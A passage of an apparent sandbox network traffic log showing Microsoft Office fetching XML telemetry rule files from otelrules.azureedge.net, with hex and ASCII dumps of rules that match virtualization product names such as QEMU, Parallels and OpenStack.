Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49763	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:41 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:41 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:41 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112641Z-1657d5bbd48sdh4cyzadbb374800000003a0000000004ds2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49764	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112642Z-1657d5bbd48brl8we3nu8cxwgn00000003rg000000007t8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49765	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112642Z-1657d5bbd48cpbzgkvtewk0wu000000003dg00000000ew2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49766	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112642Z-1657d5bbd48qjg85buwfdynm5w00000003cg00000000g21m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49768	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112642Z-1657d5bbd48762wn1qw4s5sd30000000034g00000000hchz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49767	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e72b6989-501e-005b-2b00-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112642Z-1657d5bbd48qjg85buwfdynm5w00000003hg000000005gkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49769	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112642Z-1657d5bbd48vlsxxpe15ac3q7n00000003a000000000bcgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:42 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49770	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:43 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:43 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ef9cab6f-f01e-0099-0d00-179171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112643Z-1657d5bbd48qjg85buwfdynm5w00000003g0000000008sbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:43 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49771	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:43 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:43 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 78a0432a-701e-001e-1805-17f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112643Z-1657d5bbd48tqvfc1ysmtbdrg000000003ag000000004zvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:43 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49772	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:43 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:43 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f519f63-901e-0016-75ff-16efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112643Z-1657d5bbd48t66tjar5xuq22r800000003c000000000994k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:43 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49773	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:43 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:43 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: b67c2655-301e-0096-2300-17e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112643Z-1657d5bbd48vlsxxpe15ac3q7n00000003ag00000000c902 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:43 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49774	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:43 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:43 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 821e4157-c01e-0014-3301-17a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112643Z-1657d5bbd48brl8we3nu8cxwgn00000003p000000000dbfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
